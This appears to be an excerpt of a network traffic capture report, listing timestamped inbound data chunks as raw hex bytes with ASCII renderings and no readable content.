80 93 28 e5 2d 58 6f ba ac 6b df e7 b4 6a ff d1 36 32 bf bf c5 99 7f e8 9e 29 ca 2a d7 ec a9 f9 23 40 ff 3c 02 23 81 7d a7 
87 cd c0 5e 35 14 09 6c 37 45 02 7b 0f 4e ab 81 
Data Ascii: z`I'`$?F"Ed.a|n/6b/h0x!8"jaP*#^DCo!+m8#$R+/-@&aQSb98NN"@9ny"*(-Xokj62)*#@<#}^5l7E{N

2022-09-20 10:10:08 UTC 4544 IN Data Raw: 01 dc c2 81 fd 24 9f c6 43 10 76 ad 0f bb e6 eb 9e d0 4e ff a9 e8 d0 23 30 97 5e 8e 8a 26 0a 42 1b db 25 e0 
53 8d 38 87 0e 83 ae aa b6 49 98 01 80 13 cb 39 05 96 f3 4b c8 1f cc fa 59 f1 ac 4e 54 8c 0d 74 88 6f e9 a7 d7 fe 0e 00 
dc 25 b0 75 ae 7e 61 01 3c 1a 06 60 8e f8 0a 7a ff 50 bc d4 b6 c4 3e 16 27 20 35 d4 ea 77 43 22 be 5c 48 ea 7c a3 3b b4 
37 b0 d7 ec cd 87 07 c5 65 d3 67 3e b3 08 f1 75 40 e2 6b c4 4f 62 50 a9 84 83 10 90 f7 41 e6 0e c8 0c 08 fe 85 19 dc 99 
96 8c 0a 97 22 17 8d f1 19 18 a2 26 07 aa 15 b9 e3 be 99 d3 80 5f 15 57 89 ba 35 d6 dc 6a cf ef 23 be 87 63 40 83 aa 86 
80 22 6a e5 34 dc 68 e5 13 b1 2f c4 33 72 1d 1a fc e7 e5 6c 6b ee 03 fa d8 46 5c f3 26 c0 6b 62 c5 03 3f 86 b6 f9 2f d0 ae 
c1 7b 23 ed 06 9c 43 77 c3 30 cf b3 36 10 fa 6c 6e 8a 
Data Ascii: $CvN#0^&B%S8I9KYNTto%u~a<`zP>' 5wC"\H|;7eg>u@kObPA"&_W5j#c@"j4h/3rlkF\&kb?/{#Cw06ln

2022-09-20 10:10:08 UTC 4551 IN Data Raw: 53 f4 44 0a 7a cf 56 e5 2d dc a8 79 c9 be 43 09 ae e3 23 50 85 6c 13 b8 d2 0b d8 98 22 4d 9c 59 8d aa a3 83 
96 ea a8 75 7b 66 24 53 37 39 c2 cc 8e 24 60 4f 33 f8 ea bf f7 2e 67 46 74 6e 4b 31 3b 67 8f ce aa c8 32 ef a7 46 ac ee 
1e 09 0b 4e 1f bc 15 40 a9 07 99 4c 6d d7 ab 74 30 0e 4d 3e 4f 6c a1 56 de 39 a2 79 e4 5c 94 d4 c7 83 e6 d3 bf 09 55 f8 
f7 00 5a cb c7 83 56 14 b0 1d dc b3 6d 3b a1 6c d9 6b 0e 93 03 7f d0 57 b7 77 75 32 85 f2 38 b5 88 73 d0 b7 ff 8f d6 07 
29 bf af af 65 d7 da 0f 92 c8 8a d3 98 73 3f df ef fc 40 91 35 1f b7 f4 70 ff 91 4f 8e 29 f7 d3 10 a8 a5 59 dd e9 fb 2c c5 bc 
9b 35 15 34 3f 1a 97 d3 e1 50 88 ec ea 3c 5f b9 9f f6 23 6e b1 fc e9 10 78 b4 80 23 89 bb 7f c7 27 c7 5a 9a 95 fb fe 93 dc 
cf c3 d4 45 3a 4d bc 98 f2 03 ec 9c 25 3e 2f 84 
Data Ascii: SDzV-yC#Pl"MYu{f$S79$`O3.gFtnK1;g2FN@Lmt0M>OlV9y\UZVm;lkWwu28s)es?@5pO)Y,54?P<_#nx#'ZE:M
%>/

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4559 IN Data Raw: 07 f4 bf ba f6 d7 d7 fc 17 03 5b 05 7a 45 67 ff fa 9a 7f 2f b0 4f 81 5e d5 e1 fb 9a ff b7 81 6d 06 bd a6 6b ff 7d 
cd 7f 17 b0 c3 7e d2 ed 78 5d d7 fe fb 9a ff 89 c0 16 80 36 ea ec 77 5f f3 bf 08 d8 35 a0 37 74 f8 be e6 ff 49 e2 0d 1a 8f fe 
af d6 14 6e 7f fb 92 ff 03 c0 7e 03 ba 5a c2 d7 9e 05 2f e7 ff 82 55 68 7f a0 1f e8 f8 f7 b5 fc 6f 03 76 05 28 4b c7 bf af e5 ff 
24 b0 2f 83 ec 12 3e 35 8a fc 46 e5 ff 3e b0 5f 80 26 e8 f0 7d ad bf f8 7b d0 7f 81 ae d1 e1 fb 5a 7f d7 00 5b 00 ba 04 f8 
54 51 76 5a fd e9 fb 9f 44 83 f2 fb 31 b0 0f 80 2e 15 f8 de fa 3f 23 fc cb c0 be 07 1a 21 f0 71 bd e0 d3 0c f0 c7 80 4d 5c 8d 
31 84 24 7f ed 59 f8 cb f5 97 0e 6c 2e e8 32 49 fe 58 f0 0b 80 75 83 2e 97 e4 8f 86 4f 33 c0 3f 07 ec 16 d0 7f bf 27 cf bf 24 
1a f6 3f c4 5f 3f fe 
Data Ascii: [zEg/O^mk}~x]6w_57tIn~Z/Uhov(K$/>5F>_&}{Z[TQvZD1.?#!qM\1$Yl.2IXu.O3?'$?_?

2022-09-20 10:10:08 UTC 4567 IN Data Raw: dc f4 cf 45 78 90 35 be b2 f0 ac 93 7e d6 22 46 6d 96 38 f5 d8 e9 3d 45 dd f5 b2 e0 c1 e4 10 ed 06 1e ca f4 22 
b1 04 43 21 71 bd 78 3a ac 3a e9 ad a5 f6 fa b7 ef 94 bb 71 d8 72 b2 78 30 68 18 48 34 24 13 4d 46 92 d3 48 92 4e 2c 
0d 34 35 9d 2d 9b a2 cb 84 a0 25 8b 62 cb 55 4b b3 dd 71 99 25 8d 2e f4 38 70 82 90 e0 a7 1b e1 77 a4 a7 eb 69 b4 10 
84 78 92 58 7e 6b b2 5c 8c 6d c8 c3 03 57 fe 16 67 56 63 1c 06 25 db 54 c2 ae 14 5f d2 ab 33 a1 d5 73 c7 3e 9b 4c 59 69 
83 90 81 8b 57 54 bf ef 90 49 32 8f d2 d6 cd 74 96 43 88 c4 45 4d e4 a6 a8 dd 66 da d9 72 36 84 bd 74 5f 6c 59 c3 7a 30 
51 12 7b 5d 1d 34 aa bf 49 b2 4c 2a d6 cb e4 c4 55 17 5e e6 8a 33 53 1e ac 14 f5 32 e2 ac b8 2a 55 2b ff 51 65 89 2c dc 
2f 96 7e 0d ab 7e 1a 9f e4 7a d9 ee ca ef 7f 16 4b 89 f3 69 
Data Ascii: Ex5~"Fm8=E"C!qx::qrx0hH4$MFHN,45-%bUKq%.8pwixX~k\mWgVc%T_3s>LYiWTI2tCEMfr6t_lYz0Q{]4IL*U
^3S2*U+Qe,/~~zKi

2022-09-20 10:10:08 UTC 4575 IN Data Raw: 2f 8b de 37 85 9e 17 7a 5d a8 ba 6a 69 e4 77 ab a2 7a 37 0a af 7d af b3 7f 8f b3 7d 8f d3 d1 ee 74 ed 73 3a 
76 38 3b 77 38 7b db 9d ed ed ce fe 76 a7 bd cb 69 ef 74 da f7 3b bb 52 8e 34 b3 6d 1d 4e 87 04 df ed 74 76 39 a9 9b 9c 
5d dd ce ae 4e 67 7f b7 b3 57 0c 96 f0 f7 89 d9 72 b6 77 39 db 77 3a fb 53 fc a6 b3 66 69 a4 b6 e2 c2 74 78 85 7a 23 a2 
37 26 94 b9 80 7e 76 85 f1 9d 10 bd d3 42 ef 17 fa 80 d0 07 85 3e 2c 74 87 d0 9f 09 7d 54 e8 4e a1 33 42 77 af 20 ce 8f 
af 30 dd 7b 44 6f 66 05 ba 9f 5c 61 7c 9f 5a a1 de fd 2b d4 fb 9c e8 3d 28 f4 79 a1 2f 09 3d 24 f4 65 a1 d4 ae bd bb 7a 5c 
76 51 fb 76 bb 4e 47 57 fb ce 9b 9c 9e ae ee 9d fc 6b 97 bf f6 6e 1e ed ee e4 61 17 0f 3b f8 d7 c3 a0 8a 76 ec da eb f4 1c 
68 df c9 bf 76 fe 51 f5 40 fb 4d 1a 16 85 03 7b 53 
Data Ascii: /7z]jiwz7}}ts:v8;w8{vit;R4mNtv9]NgWrw9w:Sfitxz#7&~vB>,t}TN3Bw 0{Dof\a|Z+=(y/=$ez\vQvNGWk
na;vhvQ@M{S

2022-09-20 10:10:08 UTC 4583 IN Data Raw: c4 5d 27 c6 f0 cd 52 b6 1e b5 62 dc 5a 39 8f fb 18 5f fc de 11 27 95 db a3 bb 8d e9 b0 0b 0d e8 5a 7b 8b f9 6d 
bc 99 4c 3f 7e e0 0f 8e 78 26 5e a7 3b ac 8b 0d 5c db ec f3 0d 68 8b bd 25 fa 2a ca 20 bf bb 60 0e ef c9 c7 bd 07 5e 6c 
c4 3e b4 85 90 84 97 93 39 08 5e 47 c0 eb 5e 83 3c 53 fa 33 91 4d 74 f1 b8 3e f3 47 47 bc 57 d1 70 df 62 5c 9f 07 f6 eb 
80 5e cd a8 24 14 5c 54 a5 61 d4 c1 6e 7c 96 2f 38 a2 5d a7 bd 49 91 66 6d 3f ae ef 58 28 d9 f0 62 5c df be 10 cc 47 d0 
1e 0c 00 7b 87 86 31 3e 19 5a 28 ed ab c5 b8 7e 87 86 51 37 19 d7 ef 04 96 f3 fb 61 31 77 e6 c5 75 8c 77 f1 ec f5 1a 0f 
c6 27 d3 21 6c 05 b0 fd 0b c1 bd 7e 35 e3 71 0d e3 de c9 fd 25 f1 27 47 7c 2b 59 46 6e 1e 37 ee 7d d6 1d 46 b5 b2 ee a8 
69 cf a2 d1 36 63 fe 87 be 13 cf 25 da 8f 38 e2 3f cb 
Data Ascii: ]'RbZ9_'Z{mL?~x&^;\h%* `^l>9^G^<S3Mt>GGWpb\^$\Tan|/8]Ifm?X(b\G{1>Z(~Q7a1wuw'!l~5q%'G|+YF
n7}Fi6c%8?

2022-09-20 10:10:08 UTC 4591 IN Data Raw: 3c 04 c5 bd e8 04 ee e3 c1 f2 89 2c 8f 53 22 b1 c9 a3 b5 7f 9c ea 1f 06 1f 29 5f 9f 14 fe ca 9b 64 6d 8d cf 8c 08 
bc be 77 6e 71 7b 3f 8c 73 e2 57 38 b3 06 c7 20 49 aa 1b 82 cf 51 5d f4 9e 7e 5b 60 9f 0f 8e ef 33 5c ca 1d 24 bd 0d 18 
31 b2 c9 4f 37 f3 bb 02 8b 85 c5 f6 99 22 8f 65 cd ed 1d 69 ff fd 43 a8 bd 62 42 9e 26 c6 78 5f 14 63 ab e7 a8 63 e7 41 38 
da 5b 07 8f 3a 3e 2e 44 d7 b3 c0 ed 06 ce ca 8f e6 92 d1 6e 11 f6 3e 73 fd f4 a3 7c eb d3 a2 be 94 c2 26 9a 91 4e ae 77 
db 18 53 dc 8b 3d 4f 8b f2 12 8a 7b 71 e8 69 8f bc 07 b8 23 1e dc 04 70 a3 4f 8b 32 99 4a d0 de 93 4f 8b 7a bf 38 ed 7f 4f 
8b fa 32 8a b1 35 f6 b4 47 de 5d 66 b4 e7 3e 5f b6 99 ed b9 65 d6 39 b3 3d eb f9 5c e3 91 11 62 c3 cd 77 24 7c 5c de 8b 
7a 89 63 1e 7f 07 e0 6a 8f 39 ed 13 9d 1f 01 
Data Ascii: <,S")_dmwnq{?sW8 IQ]~[`3\$1O7"eiCbB&x_ccA8[:>.Dn>s|&NwS=O{qi#pO2JOz8O25G]f>_e9=\bw$|\zcj9

2022-09-20 10:10:08 UTC 4598 IN Data Raw: a0 f9 45 be d7 b5 28 73 5e 98 cd f3 8f e5 72 0c 75 89 1f cb 63 1d 12 7d ff 41 d1 6b 67 d9 20 c4 40 6b 92 db df 
2f 95 a2 8d b5 50 03 5a 3b 82 76 5f 55 42 c6 fd 3e a9 24 70 8b cc 26 89 c7 68 40 9b dd 3f 2c da 79 41 27 3b c7 f6 a0 ec 
74 7b 3e 5f 1b ba 7e 2d 5e 91 da 7f cf 24 ed 5b 3c 7a e6 47 45 76 af df e7 66 71 74 26 7d 24 a3 35 f8 68 12 4e ea 4b 04 
97 91 05 02 3d 50 57 f0 0a 0b 45 05 6d c2 a4 f7 bd fb c0 0f 4a d7 35 dd 50 f4 08 e5 71 9d 69 ee a3 4e ad fd 5e 1b fc ba 
89 1f 4b cf 71 64 90 e7 9b eb e4 dc ed 43 2a 06 8d 22 79 76 ef 8f 8b 76 5c 4a 9b ee 25 e9 20 e5 f0 13 93 8d 7d 1e 6d 58 
f9 97 78 7c 3c 7a 0e e0 86 ed e7 16 f7 cc 39 12 3e 96 ea d0 f3 d7 3f 5a 64 ab 02 ea 5d e1 91 8b 4e c6 db 77 3c 6a 9e 87 
b1 86 cd 3c 02 8d 24 3b c8 5c 69 e4 27 48 02 c6 50 a6 
Data Ascii: E(s^ruc}Akg @k/PZ;v_UB>$p&h@?,yA';t{>_~-^$[<zGEvfqt&}$5hNK=PWEmJ5PqiN^KqdC*"yvv\J% }mXx|
<z9>?Zd]Nw<j<$;\i'HP

2022-09-20 10:10:08 UTC 4606 IN Data Raw: 69 95 ce 33 d9 e8 ef 1b 82 67 93 ad a8 64 2f 2e 75 6e 17 30 c5 92 f9 ed b9 44 c8 2b 13 f1 5e f0 96 f2 ca fa 74 
18 a3 27 66 b1 b1 9c 28 6d ec 9c df 11 6c 0f 05 9b 3a 03 f5 fe 10 4f 9a cb 67 dd 54 4c 27 d3 b7 b9 40 c7 73 9a 32 9e 73 
0a 75 f9 64 28 95 8c f0 3b d5 52 a0 cb 27 c5 49 ad 05 bc 98 fb 10 ba 85 86 ce 96 57 a3 06 47 f6 96 c6 24 37 1e 31 83 97 
f7 b0 c8 2e db 3c 66 0d de 6e 75 86 47 ae 80 a7 15 b0 54 68 ae 40 dd 32 43 37 c0 36 c3 b0 dc 94 b1 22 12 c5 17 ac b0 
71 94 bb 06 6d 32 bd 4e 2b 0d 99 02 b6 5d f7 fb 06 8f 09 c9 81 e3 71 87 c1 f1 bc 6c cc ac 0f 37 14 f0 2b e5 19 7f 65 f1 8e 
7b da 68 f2 b9 0c c5 e1 af 6d 72 52 be e3 f7 18 9c 0c ec de d2 c6 60 4b fb 6c 69 73 27 ae fc 63 07 c7 86 32 86 f9 01 17 
99 f7 0d d7 33 bf c9 c1 8b 0c f4 20 72 a1 8e f6 96 e6 
Data Ascii: i3gd/.un0D+^t'f(ml:OgTL'@s2sud(;R'IWG$71.<fnuGTh@2C76"qm2N+]ql7+e{hmrR`Klis'c23 r

2022-09-20 10:10:08 UTC 4614 IN Data Raw: 88 e7 56 ef 39 be c5 be 7d 3e 1d e4 68 bf 7f 3b fc 95 4d 81 17 02 c5 41 da 91 26 bd f0 ac 79 92 75 9e f5 a0 ad 
c2 7e ca 7e ae a3 17 b2 73 81 73 8b f3 a0 33 c1 b5 d5 15 e7 be c3 fd 1c d7 80 09 25 2c 49 c7 37 cd 4b cc cd e6 0d b0 9a 
4c 96 49 d0 10 5b 2c 2f 43 47 54 5b af b4 de 65 3d 08 9a df 88 15 71 c2 66 81 37 93 e7 f0 39 be eb 78 02 36 e4 97 0e bf 
f3 2a e7 dd b0 23 8f 40 d7 16 bb e6 ba 9e 74 bd ef 4a 70 3b dd 17 b9 af 72 ff ce 9d 08 ff eb 26 d8 0a 0f 62 9e 57 f9 6e f6 
1f f6 6b 02 b6 40 1d 66 f8 87 81 5f 04 0e 06 56 05 0b 4b 16 c1 66 d3 f1 b9 d9 6e ce b5 38 61 2b 2d 85 1f f5 84 f5 2f d6 11 
f0 1e 97 d8 d6 d8 3e 87 8c 2b 86 ef 97 e1 9a e6 6a 84 3e 7c 17 5e f0 47 f0 da c6 c0 86 b9 cd f7 b0 ef 73 df 5f 82 cc ac e3 
f6 e3 22 4b 96 ed 23 db 2a fb 87 76 d9 31 c5 
Data Ascii: V9}>h;MA&yu~~ss3%,I7KLI[,/CGT[e=qf79x6*#@tJp;r&bWnk@f_VKfn8a+-/>+j>|^Gs_"K#*v1

2022-09-20 10:10:08 UTC 4622 IN Data Raw: a1 0d 75 77 d1 67 47 a0 16 0d d6 6c c9 48 85 0d f8 9b 4e eb 49 63 d4 35 77 2f 5b d4 d1 c2 34 26 1d 5f de 4a 
52 d6 9d 83 32 19 99 fd 8d 4b ca 6b aa 66 57 35 4c 2d a3 cf ef 70 0d 6a bc 31 a1 19 99 59 e1 8c d0 ac 39 d5 0d 55 0d 33 
c0 60 15 95 f4 ee 79 f6 5c 30 db ec 39 b3 94 1a 31 92 46 7f 2c 16 55 e6 36 84 2a 67 d5 36 cc 17 d1 d9 73 aa ab 99 44 b1 
2a 2b d3 f0 5f 3b d3 d2 6f 9d 9d e9 f8 af 9b c9 f4 5b 3e 9f e9 e9 b7 a2 0c 72 cd 40 b1 a9 60 34 66 e4 b0 aa fa da b2 86 f2 
19 2c 86 37 5f 57 57 53 c7 62 79 11 92 88 71 14 03 36 55 65 b3 1b 98 89 12 73 66 9f 3b bb e6 fc d9 2c 9e 57 ae 2c 07 6d 
ab 59 02 ef dd c2 92 78 09 44 92 45 c4 ca 52 44 c4 ce 52 79 11 37 4b 13 00 37 4b e7 00 34 9b 21 20 88 65 f2 de 48 de 
65 51 0c 04 a9 07 65 58 36 25 48 26 e6 50 a4 be 6c 5a 65 
Data Ascii: uwgGlHNIc5w/[4&_JR2KkfW5L-pj1Y9U3`y\091F,U6*g6sD*+_;o[>r@`4f,7_WWSbyq6Uesf;,W,mYxDERDRy7
K7K4! eHeQeX6%H&PlZe

Timestamp
kBytes
transferred

Direction Data
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2022-09-20 10:10:08 UTC 4630 IN Data Raw: 2e 86 cb 26 e4 d5 22 64 6e 49 15 38 19 67 d0 99 dc 17 62 e6 03 ab ac 5d 00 66 13 20 67 2f dd 71 f2 3b fa f3 
67 fc c9 a5 d2 15 28 cd 7a a8 74 96 24 4a f6 a8 25 f3 a8 e4 72 34 db 8b 90 47 35 6e 42 64 b3 89 3f a8 64 23 ca 01 f8 0e 
6a 4b f4 e7 1c 22 c2 6b 09 23 97 02 78 3f 4a dc 67 a2 ab 93 a8 91 15 f8 f3 34 52 bb a9 91 2b 91 f8 1d 22 6f 50 e2 fb 48 
c4 02 41 3d bf b2 55 af a3 37 7c 52 42 55 7d b3 bb bb d4 c7 8c 55 5d ca e5 0e 42 af 48 db a5 46 0c 77 eb 63 27 db af e3 
54 ff 28 81 b1 51 3d ca 0d 0c d2 f6 b1 77 89 2d 25 41 f6 07 38 d9 33 7a 97 37 aa 05 1e 8c a7 57 16 26 a3 bf 09 f1 2a 85 
77 70 0a cf 42 fa dc 78 85 82 d4 be fe 18 1d d4 f8 79 cc 0f 12 54 0a 12 60 38 0a de ff 18 3d 04 8c a4 60 52 14 05 9b d1 ec 
c2 78 85 82 6b 11 59 a3 5c 51 9b 4b 14 fc 3b 6a 4b 45 
Data Ascii: .&"dnI8gb]f g/q;g(zt$J%r4G5nBd?d#jK"k#x?Jg4R+"oPHA=U7|RBU}U]BHFwc'T(Q=w-%A83z7W&*wpBxyT`
8=`RxkY\QK;jKE

2022-09-20 10:10:08 UTC 4637 IN Data Raw: 98 c6 cb 0b 06 4f a3 f7 a5 f0 34 72 33 37 9a 01 22 25 37 3d f1 50 4e 1b 48 8f 6b 64 a2 a5 44 1b d0 81 45 6d 
8d 7d 04 1a c5 a5 b6 f8 28 d6 e3 9a 09 61 1b e1 71 31 9f 91 36 c6 8a a6 9e 65 f4 4c eb 4e 8d 5e 22 8b 33 c0 e3 e3 ff a0 
51 eb dc a9 71 f1 3a 11 7c b4 02 55 e8 d9 32 8a 5a 35 fa da 27 4f b6 87 b8 05 b1 a6 10 72 86 03 27 52 fd b8 99 b0 67 10 
46 28 4f 14 ad 1a 0b a1 72 1e 40 e5 33 55 16 b3 6a b8 95 f5 24 00 8f cc 54 4d 2a bf c6 48 6d 41 00 0a e5 1e d0 c4 0b e5 
3e 43 98 05 41 c1 41 ff 44 85 bf 21 8c fb f5 93 42 e3 a7 16 0a b6 6b d2 70 b9 30 e2 5c 28 99 73 15 8d ff c9 93 7c 57 8f c4 
42 8b c6 c0 e7 b8 0c 79 81 73 95 39 6e 42 24 84 30 3e fd a9 01 8d ff ed 27 85 c6 77 14 aa f6 0a 89 60 9d 24 a6 65 e3 0c 
36 f1 05 a5 c4 79 6a 89 15 6c 20 af fa 29 31 d9 4b 0b 
Data Ascii: O4r37"%7=PNHkdDEm}(aq16eLN^"3Qq:|U2Z5'Or'RgF(Or@3Uj$TM*HmA>CAAD!Bkp0\(s|WBys9n
B$0>'w`$e6yjl )1K

2022-09-20 10:10:08 UTC 4645 IN Data Raw: 61 0b 4b ff 0b a0 df 03 f4 6f 11 50 a2 86 e4 66 e9 77 26 89 bc 49 fa c1 79 11 dc 24 59 04 1b f0 15 9a 06 7f d6 
f4 3c aa 3d 42 98 64 90 60 25 ba 67 92 f4 d4 b2 ac 8f 31 55 14 74 97 a4 67 a5 d0 97 ce e8 89 67 4c 46 76 55 5f c5 d4 f2 
7a 98 c3 cd f4 9d 87 ca 95 a5 6e 36 18 c4 f4 3b b4 23 72 66 2d 83 fd 4b 80 86 ee f3 db 9a 5b ca 21 c9 4a ad 76 36 0c 98 
19 26 64 e7 44 bf ad ad bb 6d 14 1b c3 df 92 4e 1b f7 8d 50 64 dd 5d 64 7b 87 fa 1b 21 9f cf ee 5b 2a 58 e3 c4 6f 77 f6 0c 
b5 4e b4 ff 19 db 52 1b aa 9d 3b 6d 2e d3 a4 65 75 93 d1 a3 5b 46 0b 55 a7 bb 8c 04 33 31 b2 61 1c 1d 5e d0 64 25 91 
d9 48 9f 2f e9 a5 ef 01 65 9b 28 89 74 47 23 25 73 78 52 67 0c b5 74 35 33 4d 2e 4f 19 d1 58 23 1d 97 a1 06 34 79 da 2b 
68 27 23 a4 92 90 69 46 66 2e ff 5a 7a 30 96 b0 48 a6 
Data Ascii: aKoPfw&Iy$Y<=Bd`%g1UtggLFvU_zn6;#rf-K[!Jv6&dDmNPd]d{![*XowNR;m.eu[FU31a^d%H/e(tG#%sxRgt5
3M.OX#4y+h'#iFf.Zz0H

2022-09-20 10:10:08 UTC 4653 IN Data Raw: ac 91 41 e7 bf fe 0f 50 be f4 17 a0 fc 6d b1 12 8d 57 ab bf 92 3f 39 d0 6b 0f 7e 67 cd 99 89 5f 0c f9 60 d0 26 23 
81 7c 65 93 4e 7b 0f 27 8d d0 62 30 76 0f d3 7c bc 0e aa 29 95 d0 8c 91 4a 27 91 fc d1 92 57 18 55 9c a6 e0 fd cb df 1c 
32 43 46 bd b1 08 e2 94 6a c6 2b 35 c7 47 55 34 e6 53 d5 e3 df 89 9a 3d 7a 88 d2 ba 44 4f b2 c9 36 80 64 31 35 7b a5 
b4 41 9d af 79 48 9b a3 26 8c ff ad 9e 61 a6 79 4b 3e 97 a6 2c 19 b3 33 99 26 8b 0c 6d 64 4e 91 e1 47 c5 4d e2 20 7d da 
4c 2a 42 8d e8 67 ea f9 34 ca 69 64 ca b4 a6 ea d7 50 67 96 74 20 2e a7 a1 b2 7c 3e f0 4a 43 7e 3e e5 9f 2b c6 42 83 c9 
8a a2 01 26 fe b3 cb 8d f9 68 6e 26 9f f2 a7 f9 92 bf fb 3f 6b f8 36 77 74 b4 74 f5 f7 5e 32 ac bb 1b 61 e0 0a 8e da b0 0b 
1c 95 a8 2c e5 54 8d 11 38 ef e3 a3 d8 f1 1f 1f 45 
Data Ascii: APmW?9k~g_`&#|eN{'b0v|)J'WU2CFj+5GU4S=zDO6d15{AyH&ayK>,3&mdNGM }L*Bg4idPgt .|>JC~>+B&hn&
?k6wtt^2a,T8E

2022-09-20 10:10:08 UTC 4661 IN Data Raw: 00 1f e9 38 ae 9d 28 a9 60 f5 60 08 21 c9 5e a3 18 9b 23 e2 04 ef c3 7b bb 7a 97 2e c2 1b ed 4b 9c 04 db ec 
ef 74 24 d8 a5 34 fe 64 9e a3 1e e8 80 d8 3d 4f 6c e6 90 ef 3d 34 cb 2d 53 3f a5 cb fc 18 ce 50 ea c0 c0 c2 e5 48 75 ca 
e1 b8 2e c1 3e f5 87 3b 49 17 ef d2 d9 8b a8 c6 78 c4 bc cb 0a 07 ed 11 db 13 3d 31 58 0e 06 46 ae c3 6b 15 4f 89 9e de 
a5 f3 92 a6 87 70 f8 8d 8b 28 67 ee ca 43 e8 82 ad 52 12 65 9e 48 92 90 bb 88 92 a6 f3 cb 57 d7 77 26 ae 3e dc 95 e8 86 
a0 a9 6f 77 e0 bc 18 f5 7a 08 9b 33 bf b4 2d 09 0f e0 f5 50 9c 2f 62 8c 47 19 87 ca bd b7 83 35 fb 2d a1 c3 b2 6c ea 4c e6 
09 a5 7b be ec 1f 34 06 fa 42 b9 ba 80 5f cb 0f f1 b2 5a af 7a 95 3d 73 57 ce a9 d1 4b 75 ee c5 34 e6 26 63 cc 91 a4 a8 
5b b0 1b 32 4f bd b7 cd 4d 1e 65 07 2f a4 ee b2 0f f1 
Data Ascii: 8(``!^#{z.Kt$4d=Ol=4-S?PHu.>;Ix=1XFkOp(gCReHWw&>owz3-P/bG5-lL{4B_Zz=sWKu4&c[2OMe/

2022-09-20 10:10:08 UTC 4669 IN Data Raw: e6 b2 9f 81 f2 91 bf db 68 1e 74 b0 82 1f 05 98 5c c9 3e 14 c0 c1 01 de 32 3e b0 dd 55 7c 03 e0 ed 2a 66 d1 1f 
3b 80 e4 0c e4 74 80 62 46 eb 00 3e 3f d0 7b 16 d8 2f 24 0f c0 ef fc 1b c0 1a aa 4d 49 40 b6 55 7b b7 80 7d c5 bb 05 e4 
65 ff 16 b0 e3 d5 5c 1c c0 07 d5 a2 a2 08 34 0c f2 f2 00 5b 3f c8 3c 0e e4 4b fe 2d 60 5f 1f 94 e6 26 86 d2 58 f1 e3 0a d1 
0c 80 c7 2b 30 87 6c a1 bf ed 55 39 1f 7e 58 c5 7c 78 6e 40 46 22 98 50 32 50 9e 02 75 6f 57 67 64 48 49 fd 43 3e af 3f 
9d 4a 3c 98 ea 00 3f cd fe 77 4a 78 35 33 e7 ab 7e 62 3f bd 6c 67 22 41 eb db c7 12 0f af 94 ae 8e 58 dd fe d4 63 bf 4b 73 
96 fd a1 fd 0e 6e 7c bd 12 71 0a 3f e9 bf a8 d5 7f 18 80 b0 f0 e2 fd 61 2c 87 48 32 92 de 1d 80 10 8a 24 ef 77 71 f5 d7 b4 
14 5c 0d 25 1e 15 58 7f ca 7a d9 9e f4 e7 97 
Data Ascii: ht\>2>U|*f;tbF>?{/$MI@U{}e\4[?<K-`_&X+0lU9~X|xn@F"P2PuoWgdHIC>?J<?wJx53~b?lg"AXcKsn|q?a,
H2$wq\%Xz

2022-09-20 10:10:08 UTC 4676 IN Data Raw: d2 db df 68 3f 7e 07 ae 7b ae b8 9c 90 33 06 b0 d1 7e f8 0e 26 a4 3c ef a7 e5 b9 f3 44 02 87 d6 9c a2 bd df cf 
e4 1d af 0c 77 cc de b2 04 e6 02 96 c0 77 8c b6 0e c8 ac 9d 8d e6 b8 2a 4b 27 df e8 74 82 29 62 3f 1d c7 98 26 ee d2 07 
18 fb 6a dd 19 38 c0 28 8c e8 70 c6 c0 3d 58 07 0b 06 d7 59 fa 00 4b 39 eb 9e 37 92 59 60 6a 68 f5 c7 e6 04 f0 cf ce c3 
a9 d3 17 58 13 14 f5 b1 97 ad 35 0c 6b 7d 81 d9 5d c4 a1 55 a6 7a bc b1 73 35 ee a8 ef 17 86 70 73 ba 7a 07 69 55 f3 e9 
f6 db 13 f6 fc 64 bd 0c 20 5e ff ad 81 76 a9 19 cd b8 33 5c d9 fd 28 49 ab cf 73 d4 ed 87 8f c3 c8 95 d8 30 70 2e a4 ab d6 
24 a9 4f 5e 1c a3 5c 3c c6 76 71 81 e3 e2 02 6e 8e 37 70 81 9a ca 7f 81 65 0e 19 64 4d b3 be c0 3c 70 ae 40 f3 b0 4b d6 
72 45 5d 5a 3b 8e 5c 0a 07 8e d1 d5 70 fe ba 24 1c 
Data Ascii: h?~{3~&<Dww*K't)b?&j8(p=XYK97Y`jhX5k}]Uzs5psziUd ^v3\(Is0p.$O^\<vqn7pedM<p@KrE]Z;\p$

2022-09-20 10:10:08 UTC 4684 IN Data Raw: df 0e aa a0 e4 c0 23 80 54 52 72 12 90 de 2a 4a ce 07 d2 1d a3 04 47 b0 fa 57 50 52 8f a4 8e b5 eb 80 e4 33 
3f ff fa 08 d5 c6 76 c8 63 40 5a 7e 44 d3 cf 2b 47 a8 77 6d 48 e9 77 84 6a 35 39 e4 bf 40 82 ec aa b4 23 d5 9b 83 8e cd 
84 23 cd c7 b9 84 e4 00 09 32 92 8f 84 95 fc 3f 42 72 35 bd 8b 2b 8e 54 ef fa a8 ab cc 39 c0 95 a5 46 c6 35 d4 e6 a7 78 
15 23 cd 40 a2 8c fc 16 7d c8 c8 73 40 42 d7 b2 16 2c 92 eb 58 39 0f a4 fe 7c 7a a7 43 8e 82 30 5c 47 6d 0e 07 12 ba 85 
92 a9 40 1a 19 c1 37 b1 da 19 29 06 d2 cd c8 0a 1c 50 f9 39 25 eb 80 64 30 d2 0c 24 c0 c8 13 40 82 8c bc 04 a4 85 91 8f 
81 74 32 92 96 01 ea 8c 9c 02 04 5f 8c 72 48 01 90 fe 5f 50 b2 0c 48 da ad 94 ac 01 92 c1 48 23 90 00 23 6d 40 0a 19 79 
0c 48 3d 23 db 81 b4 33 f2 29 90 e0 6d 94 0c 3b 1a 42 7e 
Data Ascii: #TRr*JGWPR3?vc@Z~D+GwmHwj59@##2?Br5+T9F5x#@}s@B,X9|zC0\Gm@7)P9%d0$@t2_rH_PHH##
m@yH=#3)m;B~

2022-09-20 10:10:08 UTC 4692 IN Data Raw: e2 43 2b 24 b4 76 0b ad 90 d0 da 20 db bd 3e b4 0a 84 56 bf d0 ca 17 5a 8d 42 6b 9d 0f ad 42 a1 b5 4b 68 e5 
09 ad 75 42 ab ce 87 56 99 d0 ea 13 5a b9 42 ab 41 68 95 f9 d0 8a 0a ad 9d 42 2b 28 b4 d6 ca 76 af 0f ad 3a a1 d5 2b b4 
